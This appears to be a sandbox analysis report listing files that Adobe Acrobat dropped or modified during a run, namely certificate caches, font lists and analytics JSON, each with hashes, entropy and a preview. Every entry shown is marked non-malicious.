Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFkl47ZpkN/ltfllXlE/HT8kufl7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKh7QeT8NJTNMa8RdWBwRd
MD5:	FDE73F3914D6E31E6A058B396D7BB647
SHA1:	02027D673BC3B16F16AADDF0D0CA5D5AE731CCCB
SHA-256:	DEC67FA8B46174D968D60FC94D6AA76AE4E6606ED2E2E90035B4DFA45F2D1875
SHA-512:	8783FC1A1D887626BF642612B5B9D43440AD107DD8E097A9FEAA3D9BA2DDB5ECA6850020121808D768374B8034C49FA174037887743BDAFAC94E5AC68F13D8DA
Malicious:	false
Preview:	p...... ..........Zb.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.105379870837184
Encrypted:	false
SSDEEP:	6:kKHKPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fyiDnLNkPlE99SNxAhUe/3
MD5:	84A022D87180C94179F8D9FCD5A32CEF
SHA1:	7C82DEEA8DCD8A69D8C16BA482D395D6CC1204B6
SHA-256:	C708CCFD760E620D6C8382AA9656AE2A327F98C56D1C09D8670999E0A2697D2B
SHA-512:	056806E37BC146E9336CC11B4775DF6C41826BA91AF776038D3A9F8FD2A58D5E09B27DC244DDA6E0055A9FE1E2DC141AAD889F1AF45DCE9E95721EA091F7CEFD
Malicious:	false
Preview:	p...... ........3..t.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1556

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1556

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374705104181887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJM3g98kUwPeUkwRe9:YvXKXbEp6T5LjIP8YGMbLUkee9
MD5:	3515081F3C814BD91E4FA937CAD0AB81
SHA1:	F12FB7B215AC103011F1B427BE49A4E27351C442
SHA-256:	509DCBECA5BEF8D83AA6C05073FE109BA7C7FC98C41C2305E85CB780BDE0BA05
SHA-512:	351ADD6731A9DDA7595656020BC5D299A0D24CFD804EC1AF9091AC1AE94AC2509D910FDB0E3FDB8B65F22AD4DB10534E5D3F8EC3BE3BE4EB9A6DF46FEC38D806
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325325625727004
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfBoTfXpnrPeUkwRe9:YvXKXbEp6T5LjIP8YGWTfXcUkee9
MD5:	52F227A02CD86F497173256B15366159
SHA1:	542287320F6C37557CB2EE40624392F6C48BF186
SHA-256:	BB6068EC71C686167C1CBFD39C03A0429146D24610FD7D912FE6CBDE824457BD
SHA-512:	E561BE1A1D07287AF693D2C20E26B1892B93633FFAFDE633BDEBDF426F046B010A8EE5597E7EB1B4799BBEE0A2C7F05B3AD4DFC841F8333B2A4117497DB096A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305084953384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfBD2G6UpnrPeUkwRe9:YvXKXbEp6T5LjIP8YGR22cUkee9
MD5:	54AA0E3BFF9923CEE38704573648779B
SHA1:	B129DEB69B2212FEA0FB383197640A25BA6F245E
SHA-256:	5B506B015DF026055B754A144E36BF732D570D61FC79A37A7D26739A72BD57F1
SHA-512:	D8F2D7710E2E9C1776619628CF42563C354B33A5C84586C5A6E6B2C9C342934DFB422938426C00FCFD259FE6EC843B79B6DCFEF07BB3E109B47231F98E498A6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356105091753426
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfPmwrPeUkwRe9:YvXKXbEp6T5LjIP8YGH56Ukee9
MD5:	A7CE8F6A793E63B4395472AE853C5229
SHA1:	3842722D449C3BA7740D735F1D27390B53D66AA4
SHA-256:	6854B1BF709789CD2AE00A623B69A9ADD8D82EC63F01F8BC26AD6274ED21A8BD
SHA-512:	D39D909A61A7C07CCF46E4ED8F9AF176D575444E08832185B09383D427C9D6CB62D92B129377F746311F91CC9A868A2FB30394615A3C9C9EC7FA2B13083A0F5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692711715632161
Encrypted:	false
SSDEEP:	24:Yv6XbFT5XIE1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:YvSXF1hgy6SAFv5Ah8cv/f
MD5:	E31EB01C1AE511A90F167DFC5C6EC296
SHA1:	DECA68F7347F704749493C7613F39AAABFFBB2CC
SHA-256:	D7CC9DCD7DA98CBB84B1D12824CC5B74FF0B8D54C169ECAE331182E9AF373D39
SHA-512:	C18EF279796F80AF6ADC652157A316BF6C0CBA9C453A18305FAFA24744A2BCF65FFF42D94EDBC44948168C303FD008B9F0B9F8ABED112490258C87FC99C72B1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325723619399625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJf8dPeUkwRe9:YvXKXbEp6T5LjIP8YGU8Ukee9
MD5:	97247A79DA3EAC68042A2418311807D0
SHA1:	297470BCF22755945F520D95B45CE8E285CD0FB1
SHA-256:	26003E2A7943CC34BE6725EBEF15553A7D3A9601B2D3135B8B4751E995483884
SHA-512:	9ECDE26F2CF099C53496A19FF70B67B87E5CD95DE5BD44035231B69B3E2D67A7C0E7294AE714A0E2C878EFD3CAEAFC31A523AE6470E5C0949037A0E86EF00D2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.31608493785502
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfQ1rPeUkwRe9:YvXKXbEp6T5LjIP8YGY16Ukee9
MD5:	FC47835A393FD0363393382FDBDDC3DD
SHA1:	49FBE7ACDC9EC639531E84C18BDA6B85A4B1D77D
SHA-256:	2FC2FA097E04B7EF8B469CC4426F4C7A16CF07D3F1D5722320C1B4E8EB9A08B3
SHA-512:	731F18D539E7F7F50345EB665BA932CEF46370215B85119541D91ACDA67EAFAA90ACB4AFC5949351701B2014929D89D6D9D2CA0B31E5FB80FA0F7092F1C96727
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330723077662795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfFldPeUkwRe9:YvXKXbEp6T5LjIP8YGz8Ukee9
MD5:	ECF5E6279CF143A89E9819F42EBE3FE1
SHA1:	19F489369561D770A20C78D4F0B131F323A5CA3F
SHA-256:	7044783486BFF5369A6AE41639E7D78B2B11174B44526DF3150A7097F5BD935D
SHA-512:	D23678CE2165567D30C6AA437F56AC4902D5E83F5BC61C1AF3493A3ACE01B30674D4319F869EB1294679E40ED1E8B0F81B966BBABE6600CD8F985DAFCE870A38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350619966512735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfzdPeUkwRe9:YvXKXbEp6T5LjIP8YGb8Ukee9
MD5:	FCEDBF6C9D49CF1F5E0A92756B4BA1BC
SHA1:	A769F29422A685CFBE6B8547F3052E7FEC61F5A4
SHA-256:	946CF5DF3DE3183B1F123314DFAAB40A992C10D6E514EA6F0640628635832B5A
SHA-512:	D295C590119D84C3AD4A379B2BEFD1D7115A99C9B5C969B3C921F62B851369DC55A7CE66CBB636A0B20D39F9116995D79BE137723607D69C7BFCA51D0F47C6FD
Malicious:	false
